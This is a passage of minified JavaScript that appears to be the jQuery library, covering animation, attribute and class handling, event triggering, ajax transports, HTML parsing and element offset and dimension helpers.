t=nt||st(),n=Math.max(0,l.startTime+l.duration-t),r=1-(n/l.duration||0),o=0,a=l.tweens.length;o<a;o++)l.tweens[o].run(r);return s.notifyWith(e,[l,r,n]),r<1&&a?n:(a||s.notifyWith(e,[l,1,0]),s.resolveWith(e,[l]),!1)},l=s.promise({elem:e,props:w.extend({},t),opts:w.extend(!0,{specialEasing:{},easing:w.easing._default},n),originalProperties:t,originalOptions:n,startTime:nt||st(),duration:n.duration,tweens:[],createTween:function(t,n){var r=w.Tween(e,l.opts,t,n,l.opts.specialEasing[t]||l.opts.easing);return l.tweens.push(r),r},stop:function(t){var n=0,r=t?l.tweens.length:0;if(i)return this;for(i=!0;n<r;n++)l.tweens[n].run(1);return t?(s.notifyWith(e,[l,1,0]),s.resolveWith(e,[l,t])):s.rejectWith(e,[l,t]),this}}),c=l.props;for(ft(c,l.opts.specialEasing);o<a;o++)if(r=pt.prefilters[o].call(l,e,c,l.opts))return g(r.stop)&&(w._queueHooks(l.elem,l.opts.queue).stop=r.stop.bind(r)),r;return w.map(c,lt,l),g(l.opts.start)&&l.opts.start.call(e,l),l.progress(l.opts.progress).done(l.opts.done,l.opts.complete).fail(l.opts.fail).always(l.opts.always),w.fx.timer(w.extend(u,{elem:e,anim:l,queue:l.opts.queue})),l}w.Animation=w.extend(pt,{tweeners:{"*":[function(e,t){var n=this.createTween(e,t);return ue(n.elem,e,ie.exec(t),n),n}]},tweener:function(e,t){g(e)?(t=e,e=["*"]):e=e.match(M);for(var n,r=0,i=e.length;r<i;r++)n=e[r],pt.tweeners[n]=pt.tweeners[n]||[],pt.tweeners[n].unshift(t)},prefilters:[ct],prefilter:function(e,t){t?pt.prefilters.unshift(e):pt.prefilters.push(e)}}),w.speed=function(e,t,n){var r=e&&"object"==typeof e?w.extend({},e):{complete:n||!n&&t||g(e)&&e,duration:e,easing:n&&t||t&&!g(t)&&t};return w.fx.off?r.duration=0:"number"!=typeof r.duration&&(r.duration in w.fx.speeds?r.duration=w.fx.speeds[r.duration]:r.duration=w.fx.speeds._default),null!=r.queue&&!0!==r.queue||(r.queue="fx"),r.old=r.complete,r.complete=function(){g(r.old)&&r.old.call(this),r.queue&&w.dequeue(this,r.queue)},r},w.fn.extend({fadeTo:function(e,t,n,r){return this.filter(ae).css("opacity",0).show().end().animate({opacity:t},e,n,r)},animate:function(e,t,n,r){var i=w.isEmptyObject(e),o=w.speed(t,n,r),a=function(){var t=pt(this,w.extend({},e),o);(i||J.get(this,"finish"))&&t.stop(!0)};return a.finish=a,i||!1===o.queue?this.each(a):this.queue(o.queue,a)},stop:function(e,t,n){var r=function(e){var t=e.stop;delete e.stop,t(n)};return"string"!=typeof e&&(n=t,t=e,e=void 0),t&&!1!==e&&this.queue(e||"fx",[]),this.each(function(){var t=!0,i=null!=e&&e+"queueHooks",o=w.timers,a=J.get(this);if(i)a[i]&&a[i].stop&&r(a[i]);else for(i in a)a[i]&&a[i].stop&&ot.test(i)&&r(a[i]);for(i=o.length;i--;)o[i].elem!==this||null!=e&&o[i].queue!==e||(o[i].anim.stop(n),t=!1,o.splice(i,1));!t&&n||w.dequeue(this,e)})},finish:function(e){return!1!==e&&(e=e||"fx"),this.each(function(){var t,n=J.get(this),r=n[e+"queue"],i=n[e+"queueHooks"],o=w.timers,a=r?r.length:0;for(n.finish=!0,w.queue(this,e,[]),i&&i.stop&&i.stop.call(this,!0),t=o.length;t--;)o[t].elem===this&&o[t].queue===e&&(o[t].anim.stop(!0),o.splice(t,1));for(t=0;t<a;t++)r[t]&&r[t].finish&&r[t].finish.call(this);delete n.finish})}}),w.each(["toggle","show","hide"],function(e,t){var n=w.fn[t];w.fn[t]=function(e,r,i){return null==e||"boolean"==typeof e?n.apply(this,arguments):this.animate(ut(t,!0),e,r,i)}}),w.each({slideDown:ut("show"),slideUp:ut("hide"),slideToggle:ut("toggle"),fadeIn:{opacity:"show"},fadeOut:{opacity:"hide"},fadeToggle:{opacity:"toggle"}},function(e,t){w.fn[e]=function(e,n,r){return this.animate(t,e,n,r)}}),w.timers=[],w.fx.tick=function(){var e,t=0,n=w.timers;for(nt=Date.now();t<n.length;t++)(e=n[t])()||n[t]!==e||n.splice(t--,1);n.length||w.fx.stop(),nt=void 0},w.fx.timer=function(e){w.timers.push(e),w.fx.start()},w.fx.interval=13,w.fx.start=function(){rt||(rt=!0,at())},w.fx.stop=function(){rt=null},w.fx.speeds={slow:600,fast:200,_default:400},w.fn.delay=function(t,n){return t=w.fx?w.fx.speeds[t]||t:t,n=n||"fx",this.queue(n,function(n,r){var i=e.setTimeout(n,t);r.stop=function(){e.clearTimeout(i)}})},function(){var e=r.createElement("input"),t=r.createElement("select").appendChild(r.createElement("option"));e.type="checkbox",h.checkOn=""!==e.value,h.optSelected=t.selected,(e=r.createElement("input")).value="t",e.type="radio",h.radioValue="t"===e.value}();var dt,ht=w.expr.attrHandle;w.fn.extend({attr:function(e,t){return z(this,w.attr,e,t,arguments.length>1)},removeAttr:function(e){return this.each(function(){w.removeAttr(this,e)})}}),w.extend({attr:function(e,t,n){var r,i,o=e.nodeType;if(3!==o&&8!==o&&2!==o)return"undefined"==typeof e.getAttribute?w.prop(e,t,n):(1===o&&w.isXMLDoc(e)||(i=w.attrHooks[t.toLowerCase()]||(w.expr.match.bool.test(t)?dt:void 0)),void 0!==n?null===n?void w.removeAttr(e,t):i&&"set"in i&&void 0!==(r=i.set(e,n,t))?r:(e.setAttribute(t,n+""),n):i&&"get"in i&&null!==(r=i.get(e,t))?r:null==(r=w.find.attr(e,t))?void 0:r)},attrHooks:{type:{set:function(e,t){if(!h.radioValue&&"radio"===t&&N(e,"input")){var n=e.value;return e.setAttribute("type",t),n&&(e.value=n),t}}}},removeAttr:function(e,t){var n,r=0,i=t&&t.match(M);if(i&&1===e.nodeType)while(n=i[r++])e.removeAttribute(n)}}),dt={set:function(e,t,n){return!1===t?w.removeAttr(e,n):e.setAttribute(n,n),n}},w.each(w.expr.match.bool.source.match(/\w+/g),function(e,t){var n=ht[t]||w.find.attr;ht[t]=function(e,t,r){var i,o,a=t.toLowerCase();return r||(o=ht[a],ht[a]=i,i=null!=n(e,t,r)?a:null,ht[a]=o),i}});var gt=/^(?:input|select|textarea|button)$/i,yt=/^(?:a|area)$/i;w.fn.extend({prop:function(e,t){return z(this,w.prop,e,t,arguments.length>1)},removeProp:function(e){return this.each(function(){delete this[w.propFix[e]||e]})}}),w.extend({prop:function(e,t,n){var r,i,o=e.nodeType;if(3!==o&&8!==o&&2!==o)return 1===o&&w.isXMLDoc(e)||(t=w.propFix[t]||t,i=w.propHooks[t]),void 0!==n?i&&"set"in i&&void 0!==(r=i.set(e,n,t))?r:e[t]=n:i&&"get"in i&&null!==(r=i.get(e,t))?r:e[t]},propHooks:{tabIndex:{get:function(e){var t=w.find.attr(e,"tabindex");return t?parseInt(t,10):gt.test(e.nodeName)||yt.test(e.nodeName)&&e.href?0:-1}}},propFix:{"for":"htmlFor","class":"className"}}),h.optSelected||(w.propHooks.selected={get:function(e){var t=e.parentNode;return t&&t.parentNode&&t.parentNode.selectedIndex,null},set:function(e){var t=e.parentNode;t&&(t.selectedIndex,t.parentNode&&t.parentNode.selectedIndex)}}),w.each(["tabIndex","readOnly","maxLength","cellSpacing","cellPadding","rowSpan","colSpan","useMap","frameBorder","contentEditable"],function(){w.propFix[this.toLowerCase()]=this});function vt(e){return(e.match(M)||[]).join(" ")}function mt(e){return e.getAttribute&&e.getAttribute("class")||""}function xt(e){return Array.isArray(e)?e:"string"==typeof e?e.match(M)||[]:[]}w.fn.extend({addClass:function(e){var t,n,r,i,o,a,s,u=0;if(g(e))return this.each(function(t){w(this).addClass(e.call(this,t,mt(this)))});if((t=xt(e)).length)while(n=this[u++])if(i=mt(n),r=1===n.nodeType&&" "+vt(i)+" "){a=0;while(o=t[a++])r.indexOf(" "+o+" ")<0&&(r+=o+" ");i!==(s=vt(r))&&n.setAttribute("class",s)}return this},removeClass:function(e){var t,n,r,i,o,a,s,u=0;if(g(e))return this.each(function(t){w(this).removeClass(e.call(this,t,mt(this)))});if(!arguments.length)return this.attr("class","");if((t=xt(e)).length)while(n=this[u++])if(i=mt(n),r=1===n.nodeType&&" "+vt(i)+" "){a=0;while(o=t[a++])while(r.indexOf(" "+o+" ")>-1)r=r.replace(" "+o+" "," ");i!==(s=vt(r))&&n.setAttribute("class",s)}return this},toggleClass:function(e,t){var n=typeof e,r="string"===n||Array.isArray(e);return"boolean"==typeof t&&r?t?this.addClass(e):this.removeClass(e):g(e)?this.each(function(n){w(this).toggleClass(e.call(this,n,mt(this),t),t)}):this.each(function(){var t,i,o,a;if(r){i=0,o=w(this),a=xt(e);while(t=a[i++])o.hasClass(t)?o.removeClass(t):o.addClass(t)}else void 0!==e&&"boolean"!==n||((t=mt(this))&&J.set(this,"__className__",t),this.setAttribute&&this.setAttribute("class",t||!1===e?"":J.get(this,"__className__")||""))})},hasClass:function(e){var t,n,r=0;t=" "+e+" ";while(n=this[r++])if(1===n.nodeType&&(" "+vt(mt(n))+" ").indexOf(t)>-1)return!0;return!1}});var bt=/\r/g;w.fn.extend({val:function(e){var t,n,r,i=this[0];{if(arguments.length)return r=g(e),this.each(function(n){var i;1===this.nodeType&&(null==(i=r?e.call(this,n,w(this).val()):e)?i="":"number"==typeof i?i+="":Array.isArray(i)&&(i=w.map(i,function(e){return null==e?"":e+""})),(t=w.valHooks[this.type]||w.valHooks[this.nodeName.toLowerCase()])&&"set"in t&&void 0!==t.set(this,i,"value")||(this.value=i))});if(i)return(t=w.valHooks[i.type]||w.valHooks[i.nodeName.toLowerCase()])&&"get"in t&&void 0!==(n=t.get(i,"value"))?n:"string"==typeof(n=i.value)?n.replace(bt,""):null==n?"":n}}}),w.extend({valHooks:{option:{get:function(e){var t=w.find.attr(e,"value");return null!=t?t:vt(w.text(e))}},select:{get:function(e){var t,n,r,i=e.options,o=e.selectedIndex,a="select-one"===e.type,s=a?null:[],u=a?o+1:i.length;for(r=o<0?u:a?o:0;r<u;r++)if(((n=i[r]).selected||r===o)&&!n.disabled&&(!n.parentNode.disabled||!N(n.parentNode,"optgroup"))){if(t=w(n).val(),a)return t;s.push(t)}return s},set:function(e,t){var n,r,i=e.options,o=w.makeArray(t),a=i.length;while(a--)((r=i[a]).selected=w.inArray(w.valHooks.option.get(r),o)>-1)&&(n=!0);return n||(e.selectedIndex=-1),o}}}}),w.each(["radio","checkbox"],function(){w.valHooks[this]={set:function(e,t){if(Array.isArray(t))return e.checked=w.inArray(w(e).val(),t)>-1}},h.checkOn||(w.valHooks[this].get=function(e){return null===e.getAttribute("value")?"on":e.value})}),h.focusin="onfocusin"in e;var wt=/^(?:focusinfocus|focusoutblur)$/,Tt=function(e){e.stopPropagation()};w.extend(w.event,{trigger:function(t,n,i,o){var a,s,u,l,c,p,d,h,v=[i||r],m=f.call(t,"type")?t.type:t,x=f.call(t,"namespace")?t.namespace.split("."):[];if(s=h=u=i=i||r,3!==i.nodeType&&8!==i.nodeType&&!wt.test(m+w.event.triggered)&&(m.indexOf(".")>-1&&(m=(x=m.split(".")).shift(),x.sort()),c=m.indexOf(":")<0&&"on"+m,t=t[w.expando]?t:new w.Event(m,"object"==typeof t&&t),t.isTrigger=o?2:3,t.namespace=x.join("."),t.rnamespace=t.namespace?new RegExp("(^|\\.)"+x.join("\\.(?:.*\\.|)")+"(\\.|$)"):null,t.result=void 0,t.target||(t.target=i),n=null==n?[t]:w.makeArray(n,[t]),d=w.event.special[m]||{},o||!d.trigger||!1!==d.trigger.apply(i,n))){if(!o&&!d.noBubble&&!y(i)){for(l=d.delegateType||m,wt.test(l+m)||(s=s.parentNode);s;s=s.parentNode)v.push(s),u=s;u===(i.ownerDocument||r)&&v.push(u.defaultView||u.parentWindow||e)}a=0;while((s=v[a++])&&!t.isPropagationStopped())h=s,t.type=a>1?l:d.bindType||m,(p=(J.get(s,"events")||{})[t.type]&&J.get(s,"handle"))&&p.apply(s,n),(p=c&&s[c])&&p.apply&&Y(s)&&(t.result=p.apply(s,n),!1===t.result&&t.preventDefault());return t.type=m,o||t.isDefaultPrevented()||d._default&&!1!==d._default.apply(v.pop(),n)||!Y(i)||c&&g(i[m])&&!y(i)&&((u=i[c])&&(i[c]=null),w.event.triggered=m,t.isPropagationStopped()&&h.addEventListener(m,Tt),i[m](),t.isPropagationStopped()&&h.removeEventListener(m,Tt),w.event.triggered=void 0,u&&(i[c]=u)),t.result}},simulate:function(e,t,n){var r=w.extend(new w.Event,n,{type:e,isSimulated:!0});w.event.trigger(r,null,t)}}),w.fn.extend({trigger:function(e,t){return this.each(function(){w.event.trigger(e,t,this)})},triggerHandler:function(e,t){var n=this[0];if(n)return w.event.trigger(e,t,n,!0)}}),h.focusin||w.each({focus:"focusin",blur:"focusout"},function(e,t){var n=function(e){w.event.simulate(t,e.target,w.event.fix(e))};w.event.special[t]={setup:function(){var r=this.ownerDocument||this,i=J.access(r,t);i||r.addEventListener(e,n,!0),J.access(r,t,(i||0)+1)},teardown:function(){var r=this.ownerDocument||this,i=J.access(r,t)-1;i?J.access(r,t,i):(r.removeEventListener(e,n,!0),J.remove(r,t))}}});var Ct=e.location,Et=Date.now(),kt=/\?/;w.parseXML=function(t){var n;if(!t||"string"!=typeof t)return null;try{n=(new e.DOMParser).parseFromString(t,"text/xml")}catch(e){n=void 0}return n&&!n.getElementsByTagName("parsererror").length||w.error("Invalid XML: "+t),n};var St=/\[\]$/,Dt=/\r?\n/g,Nt=/^(?:submit|button|image|reset|file)$/i,At=/^(?:input|select|textarea|keygen)/i;function jt(e,t,n,r){var i;if(Array.isArray(t))w.each(t,function(t,i){n||St.test(e)?r(e,i):jt(e+"["+("object"==typeof i&&null!=i?t:"")+"]",i,n,r)});else if(n||"object"!==x(t))r(e,t);else for(i in t)jt(e+"["+i+"]",t[i],n,r)}w.param=function(e,t){var n,r=[],i=function(e,t){var n=g(t)?t():t;r[r.length]=encodeURIComponent(e)+"="+encodeURIComponent(null==n?"":n)};if(Array.isArray(e)||e.jquery&&!w.isPlainObject(e))w.each(e,function(){i(this.name,this.value)});else for(n in e)jt(n,e[n],t,i);return r.join("&")},w.fn.extend({serialize:function(){return w.param(this.serializeArray())},serializeArray:function(){return this.map(function(){var e=w.prop(this,"elements");return e?w.makeArray(e):this}).filter(function(){var e=this.type;return this.name&&!w(this).is(":disabled")&&At.test(this.nodeName)&&!Nt.test(e)&&(this.checked||!pe.test(e))}).map(function(e,t){var n=w(this).val();return null==n?null:Array.isArray(n)?w.map(n,function(e){return{name:t.name,value:e.replace(Dt,"\r\n")}}):{name:t.name,value:n.replace(Dt,"\r\n")}}).get()}});var qt=/%20/g,Lt=/#.*$/,Ht=/([?&])_=[^&]*/,Ot=/^(.*?):[ \t]*([^\r\n]*)$/gm,Pt=/^(?:about|app|app-storage|.+-extension|file|res|widget):$/,Mt=/^(?:GET|HEAD)$/,Rt=/^\/\//,It={},Wt={},$t="*/".concat("*"),Bt=r.createElement("a");Bt.href=Ct.href;function Ft(e){return function(t,n){"string"!=typeof t&&(n=t,t="*");var r,i=0,o=t.toLowerCase().match(M)||[];if(g(n))while(r=o[i++])"+"===r[0]?(r=r.slice(1)||"*",(e[r]=e[r]||[]).unshift(n)):(e[r]=e[r]||[]).push(n)}}function _t(e,t,n,r){var i={},o=e===Wt;function a(s){var u;return i[s]=!0,w.each(e[s]||[],function(e,s){var l=s(t,n,r);return"string"!=typeof l||o||i[l]?o?!(u=l):void 0:(t.dataTypes.unshift(l),a(l),!1)}),u}return a(t.dataTypes[0])||!i["*"]&&a("*")}function zt(e,t){var n,r,i=w.ajaxSettings.flatOptions||{};for(n in t)void 0!==t[n]&&((i[n]?e:r||(r={}))[n]=t[n]);return r&&w.extend(!0,e,r),e}function Xt(e,t,n){var r,i,o,a,s=e.contents,u=e.dataTypes;while("*"===u[0])u.shift(),void 0===r&&(r=e.mimeType||t.getResponseHeader("Content-Type"));if(r)for(i in s)if(s[i]&&s[i].test(r)){u.unshift(i);break}if(u[0]in n)o=u[0];else{for(i in n){if(!u[0]||e.converters[i+" "+u[0]]){o=i;break}a||(a=i)}o=o||a}if(o)return o!==u[0]&&u.unshift(o),n[o]}function Ut(e,t,n,r){var i,o,a,s,u,l={},c=e.dataTypes.slice();if(c[1])for(a in e.converters)l[a.toLowerCase()]=e.converters[a];o=c.shift();while(o)if(e.responseFields[o]&&(n[e.responseFields[o]]=t),!u&&r&&e.dataFilter&&(t=e.dataFilter(t,e.dataType)),u=o,o=c.shift())if("*"===o)o=u;else if("*"!==u&&u!==o){if(!(a=l[u+" "+o]||l["* "+o]))for(i in l)if((s=i.split(" "))[1]===o&&(a=l[u+" "+s[0]]||l["* "+s[0]])){!0===a?a=l[i]:!0!==l[i]&&(o=s[0],c.unshift(s[1]));break}if(!0!==a)if(a&&e["throws"])t=a(t);else try{t=a(t)}catch(e){return{state:"parsererror",error:a?e:"No conversion from "+u+" to "+o}}}return{state:"success",data:t}}w.extend({active:0,lastModified:{},etag:{},ajaxSettings:{url:Ct.href,type:"GET",isLocal:Pt.test(Ct.protocol),global:!0,processData:!0,async:!0,contentType:"application/x-www-form-urlencoded; charset=UTF-8",accepts:{"*":$t,text:"text/plain",html:"text/html",xml:"application/xml, text/xml",json:"application/json, text/javascript"},contents:{xml:/\bxml\b/,html:/\bhtml/,json:/\bjson\b/},responseFields:{xml:"responseXML",text:"responseText",json:"responseJSON"},converters:{"* text":String,"text html":!0,"text json":JSON.parse,"text xml":w.parseXML},flatOptions:{url:!0,context:!0}},ajaxSetup:function(e,t){return t?zt(zt(e,w.ajaxSettings),t):zt(w.ajaxSettings,e)},ajaxPrefilter:Ft(It),ajaxTransport:Ft(Wt),ajax:function(t,n){"object"==typeof t&&(n=t,t=void 0),n=n||{};var i,o,a,s,u,l,c,f,p,d,h=w.ajaxSetup({},n),g=h.context||h,y=h.context&&(g.nodeType||g.jquery)?w(g):w.event,v=w.Deferred(),m=w.Callbacks("once memory"),x=h.statusCode||{},b={},T={},C="canceled",E={readyState:0,getResponseHeader:function(e){var t;if(c){if(!s){s={};while(t=Ot.exec(a))s[t[1].toLowerCase()]=t[2]}t=s[e.toLowerCase()]}return null==t?null:t},getAllResponseHeaders:function(){return c?a:null},setRequestHeader:function(e,t){return null==c&&(e=T[e.toLowerCase()]=T[e.toLowerCase()]||e,b[e]=t),this},overrideMimeType:function(e){return null==c&&(h.mimeType=e),this},statusCode:function(e){var t;if(e)if(c)E.always(e[E.status]);else for(t in e)x[t]=[x[t],e[t]];return this},abort:function(e){var t=e||C;return i&&i.abort(t),k(0,t),this}};if(v.promise(E),h.url=((t||h.url||Ct.href)+"").replace(Rt,Ct.protocol+"//"),h.type=n.method||n.type||h.method||h.type,h.dataTypes=(h.dataType||"*").toLowerCase().match(M)||[""],null==h.crossDomain){l=r.createElement("a");try{l.href=h.url,l.href=l.href,h.crossDomain=Bt.protocol+"//"+Bt.host!=l.protocol+"//"+l.host}catch(e){h.crossDomain=!0}}if(h.data&&h.processData&&"string"!=typeof h.data&&(h.data=w.param(h.data,h.traditional)),_t(It,h,n,E),c)return E;(f=w.event&&h.global)&&0==w.active++&&w.event.trigger("ajaxStart"),h.type=h.type.toUpperCase(),h.hasContent=!Mt.test(h.type),o=h.url.replace(Lt,""),h.hasContent?h.data&&h.processData&&0===(h.contentType||"").indexOf("application/x-www-form-urlencoded")&&(h.data=h.data.replace(qt,"+")):(d=h.url.slice(o.length),h.data&&(h.processData||"string"==typeof h.data)&&(o+=(kt.test(o)?"&":"?")+h.data,delete h.data),!1===h.cache&&(o=o.replace(Ht,"$1"),d=(kt.test(o)?"&":"?")+"_="+Et+++d),h.url=o+d),h.ifModified&&(w.lastModified[o]&&E.setRequestHeader("If-Modified-Since",w.lastModified[o]),w.etag[o]&&E.setRequestHeader("If-None-Match",w.etag[o])),(h.data&&h.hasContent&&!1!==h.contentType||n.contentType)&&E.setRequestHeader("Content-Type",h.contentType),E.setRequestHeader("Accept",h.dataTypes[0]&&h.accepts[h.dataTypes[0]]?h.accepts[h.dataTypes[0]]+("*"!==h.dataTypes[0]?", "+$t+"; q=0.01":""):h.accepts["*"]);for(p in h.headers)E.setRequestHeader(p,h.headers[p]);if(h.beforeSend&&(!1===h.beforeSend.call(g,E,h)||c))return E.abort();if(C="abort",m.add(h.complete),E.done(h.success),E.fail(h.error),i=_t(Wt,h,n,E)){if(E.readyState=1,f&&y.trigger("ajaxSend",[E,h]),c)return E;h.async&&h.timeout>0&&(u=e.setTimeout(function(){E.abort("timeout")},h.timeout));try{c=!1,i.send(b,k)}catch(e){if(c)throw e;k(-1,e)}}else k(-1,"No Transport");function k(t,n,r,s){var l,p,d,b,T,C=n;c||(c=!0,u&&e.clearTimeout(u),i=void 0,a=s||"",E.readyState=t>0?4:0,l=t>=200&&t<300||304===t,r&&(b=Xt(h,E,r)),b=Ut(h,b,E,l),l?(h.ifModified&&((T=E.getResponseHeader("Last-Modified"))&&(w.lastModified[o]=T),(T=E.getResponseHeader("etag"))&&(w.etag[o]=T)),204===t||"HEAD"===h.type?C="nocontent":304===t?C="notmodified":(C=b.state,p=b.data,l=!(d=b.error))):(d=C,!t&&C||(C="error",t<0&&(t=0))),E.status=t,E.statusText=(n||C)+"",l?v.resolveWith(g,[p,C,E]):v.rejectWith(g,[E,C,d]),E.statusCode(x),x=void 0,f&&y.trigger(l?"ajaxSuccess":"ajaxError",[E,h,l?p:d]),m.fireWith(g,[E,C]),f&&(y.trigger("ajaxComplete",[E,h]),--w.active||w.event.trigger("ajaxStop")))}return E},getJSON:function(e,t,n){return w.get(e,t,n,"json")},getScript:function(e,t){return w.get(e,void 0,t,"script")}}),w.each(["get","post"],function(e,t){w[t]=function(e,n,r,i){return g(n)&&(i=i||r,r=n,n=void 0),w.ajax(w.extend({url:e,type:t,dataType:i,data:n,success:r},w.isPlainObject(e)&&e))}}),w._evalUrl=function(e){return w.ajax({url:e,type:"GET",dataType:"script",cache:!0,async:!1,global:!1,"throws":!0})},w.fn.extend({wrapAll:function(e){var t;return this[0]&&(g(e)&&(e=e.call(this[0])),t=w(e,this[0].ownerDocument).eq(0).clone(!0),this[0].parentNode&&t.insertBefore(this[0]),t.map(function(){var e=this;while(e.firstElementChild)e=e.firstElementChild;return e}).append(this)),this},wrapInner:function(e){return g(e)?this.each(function(t){w(this).wrapInner(e.call(this,t))}):this.each(function(){var t=w(this),n=t.contents();n.length?n.wrapAll(e):t.append(e)})},wrap:function(e){var t=g(e);return this.each(function(n){w(this).wrapAll(t?e.call(this,n):e)})},unwrap:function(e){return this.parent(e).not("body").each(function(){w(this).replaceWith(this.childNodes)}),this}}),w.expr.pseudos.hidden=function(e){return!w.expr.pseudos.visible(e)},w.expr.pseudos.visible=function(e){return!!(e.offsetWidth||e.offsetHeight||e.getClientRects().length)},w.ajaxSettings.xhr=function(){try{return new e.XMLHttpRequest}catch(e){}};var Vt={0:200,1223:204},Gt=w.ajaxSettings.xhr();h.cors=!!Gt&&"withCredentials"in Gt,h.ajax=Gt=!!Gt,w.ajaxTransport(function(t){var n,r;if(h.cors||Gt&&!t.crossDomain)return{send:function(i,o){var a,s=t.xhr();if(s.open(t.type,t.url,t.async,t.username,t.password),t.xhrFields)for(a in t.xhrFields)s[a]=t.xhrFields[a];t.mimeType&&s.overrideMimeType&&s.overrideMimeType(t.mimeType),t.crossDomain||i["X-Requested-With"]||(i["X-Requested-With"]="XMLHttpRequest");for(a in i)s.setRequestHeader(a,i[a]);n=function(e){return function(){n&&(n=r=s.onload=s.onerror=s.onabort=s.ontimeout=s.onreadystatechange=null,"abort"===e?s.abort():"error"===e?"number"!=typeof s.status?o(0,"error"):o(s.status,s.statusText):o(Vt[s.status]||s.status,s.statusText,"text"!==(s.responseType||"text")||"string"!=typeof s.responseText?{binary:s.response}:{text:s.responseText},s.getAllResponseHeaders()))}},s.onload=n(),r=s.onerror=s.ontimeout=n("error"),void 0!==s.onabort?s.onabort=r:s.onreadystatechange=function(){4===s.readyState&&e.setTimeout(function(){n&&r()})},n=n("abort");try{s.send(t.hasContent&&t.data||null)}catch(e){if(n)throw e}},abort:function(){n&&n()}}}),w.ajaxPrefilter(function(e){e.crossDomain&&(e.contents.script=!1)}),w.ajaxSetup({accepts:{script:"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"},contents:{script:/\b(?:java|ecma)script\b/},converters:{"text script":function(e){return w.globalEval(e),e}}}),w.ajaxPrefilter("script",function(e){void 0===e.cache&&(e.cache=!1),e.crossDomain&&(e.type="GET")}),w.ajaxTransport("script",function(e){if(e.crossDomain){var t,n;return{send:function(i,o){t=w("<script>").prop({charset:e.scriptCharset,src:e.url}).on("load error",n=function(e){t.remove(),n=null,e&&o("error"===e.type?404:200,e.type)}),r.head.appendChild(t[0])},abort:function(){n&&n()}}}});var Yt=[],Qt=/(=)\?(?=&|$)|\?\?/;w.ajaxSetup({jsonp:"callback",jsonpCallback:function(){var e=Yt.pop()||w.expando+"_"+Et++;return this[e]=!0,e}}),w.ajaxPrefilter("json jsonp",function(t,n,r){var i,o,a,s=!1!==t.jsonp&&(Qt.test(t.url)?"url":"string"==typeof t.data&&0===(t.contentType||"").indexOf("application/x-www-form-urlencoded")&&Qt.test(t.data)&&"data");if(s||"jsonp"===t.dataTypes[0])return i=t.jsonpCallback=g(t.jsonpCallback)?t.jsonpCallback():t.jsonpCallback,s?t[s]=t[s].replace(Qt,"$1"+i):!1!==t.jsonp&&(t.url+=(kt.test(t.url)?"&":"?")+t.jsonp+"="+i),t.converters["script json"]=function(){return a||w.error(i+" was not called"),a[0]},t.dataTypes[0]="json",o=e[i],e[i]=function(){a=arguments},r.always(function(){void 0===o?w(e).removeProp(i):e[i]=o,t[i]&&(t.jsonpCallback=n.jsonpCallback,Yt.push(i)),a&&g(o)&&o(a[0]),a=o=void 0}),"script"}),h.createHTMLDocument=function(){var e=r.implementation.createHTMLDocument("").body;return e.innerHTML="<form></form><form></form>",2===e.childNodes.length}(),w.parseHTML=function(e,t,n){if("string"!=typeof e)return[];"boolean"==typeof t&&(n=t,t=!1);var i,o,a;return t||(h.createHTMLDocument?((i=(t=r.implementation.createHTMLDocument("")).createElement("base")).href=r.location.href,t.head.appendChild(i)):t=r),o=A.exec(e),a=!n&&[],o?[t.createElement(o[1])]:(o=xe([e],t,a),a&&a.length&&w(a).remove(),w.merge([],o.childNodes))},w.fn.load=function(e,t,n){var r,i,o,a=this,s=e.indexOf(" ");return s>-1&&(r=vt(e.slice(s)),e=e.slice(0,s)),g(t)?(n=t,t=void 0):t&&"object"==typeof t&&(i="POST"),a.length>0&&w.ajax({url:e,type:i||"GET",dataType:"html",data:t}).done(function(e){o=arguments,a.html(r?w("<div>").append(w.parseHTML(e)).find(r):e)}).always(n&&function(e,t){a.each(function(){n.apply(this,o||[e.responseText,t,e])})}),this},w.each(["ajaxStart","ajaxStop","ajaxComplete","ajaxError","ajaxSuccess","ajaxSend"],function(e,t){w.fn[t]=function(e){return this.on(t,e)}}),w.expr.pseudos.animated=function(e){return w.grep(w.timers,function(t){return e===t.elem}).length},w.offset={setOffset:function(e,t,n){var r,i,o,a,s,u,l,c=w.css(e,"position"),f=w(e),p={};"static"===c&&(e.style.position="relative"),s=f.offset(),o=w.css(e,"top"),u=w.css(e,"left"),(l=("absolute"===c||"fixed"===c)&&(o+u).indexOf("auto")>-1)?(a=(r=f.position()).top,i=r.left):(a=parseFloat(o)||0,i=parseFloat(u)||0),g(t)&&(t=t.call(e,n,w.extend({},s))),null!=t.top&&(p.top=t.top-s.top+a),null!=t.left&&(p.left=t.left-s.left+i),"using"in t?t.using.call(e,p):f.css(p)}},w.fn.extend({offset:function(e){if(arguments.length)return void 0===e?this:this.each(function(t){w.offset.setOffset(this,e,t)});var t,n,r=this[0];if(r)return r.getClientRects().length?(t=r.getBoundingClientRect(),n=r.ownerDocument.defaultView,{top:t.top+n.pageYOffset,left:t.left+n.pageXOffset}):{top:0,left:0}},position:function(){if(this[0]){var e,t,n,r=this[0],i={top:0,left:0};if("fixed"===w.css(r,"position"))t=r.getBoundingClientRect();else{t=this.offset(),n=r.ownerDocument,e=r.offsetParent||n.documentElement;while(e&&(e===n.body||e===n.documentElement)&&"static"===w.css(e,"position"))e=e.parentNode;e&&e!==r&&1===e.nodeType&&((i=w(e).offset()).top+=w.css(e,"borderTopWidth",!0),i.left+=w.css(e,"borderLeftWidth",!0))}return{top:t.top-i.top-w.css(r,"marginTop",!0),left:t.left-i.left-w.css(r,"marginLeft",!0)}}},offsetParent:function(){return this.map(function(){var e=this.offsetParent;while(e&&"static"===w.css(e,"position"))e=e.offsetParent;return e||be})}}),w.each({scrollLeft:"pageXOffset",scrollTop:"pageYOffset"},function(e,t){var n="pageYOffset"===t;w.fn[e]=function(r){return z(this,function(e,r,i){var o;if(y(e)?o=e:9===e.nodeType&&(o=e.defaultView),void 0===i)return o?o[t]:e[r];o?o.scrollTo(n?o.pageXOffset:i,n?i:o.pageYOffset):e[r]=i},e,r,arguments.length)}}),w.each(["top","left"],function(e,t){w.cssHooks[t]=_e(h.pixelPosition,function(e,n){if(n)return n=Fe(e,t),We.test(n)?w(e).position()[t]+"px":n})}),w.each({Height:"height",Width:"width"},function(e,t){w.each({padding:"inner"+e,content:t,"":"outer"+e},function(n,r){w.fn[r]=function(i,o){var a=arguments.length&&(n||"boolean"!=typeof i),s=n||(!0===i||!0===o?"margin":"border");return z(this,function(t,n,i){var o;return y(t)?0===r.indexOf("outer")?t["inner"+e]:t.document.documentElement["client"+e]:9===t.nodeType?(o=t.documentElement,Math.max(t.body["scroll"+e],o["scroll"+e],t.body["offset"+e],o["offset"+e],o["client"+e])):void 